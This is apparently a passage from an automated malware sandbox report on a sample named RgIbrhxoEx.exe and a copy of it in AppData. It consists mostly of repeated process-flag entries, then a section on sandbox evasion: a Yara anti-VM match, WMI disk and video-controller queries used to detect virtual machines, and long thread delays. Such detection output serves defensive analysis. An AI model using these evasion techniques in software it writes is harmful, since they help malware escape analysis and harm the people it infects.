Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: RgIbrhxoEx.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: LjGABleGAy.exe PID: 1880, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: F90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 2DA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 12D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 6110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 5FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 7210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 8210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 13C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Memory allocated: 50B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 1380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 31E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 3000000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 63A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 73A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 75E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 85E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 12D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 2C90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\LjGABleGAy.exe	Memory allocated: 4C90000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\RgIbrhxoEx.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
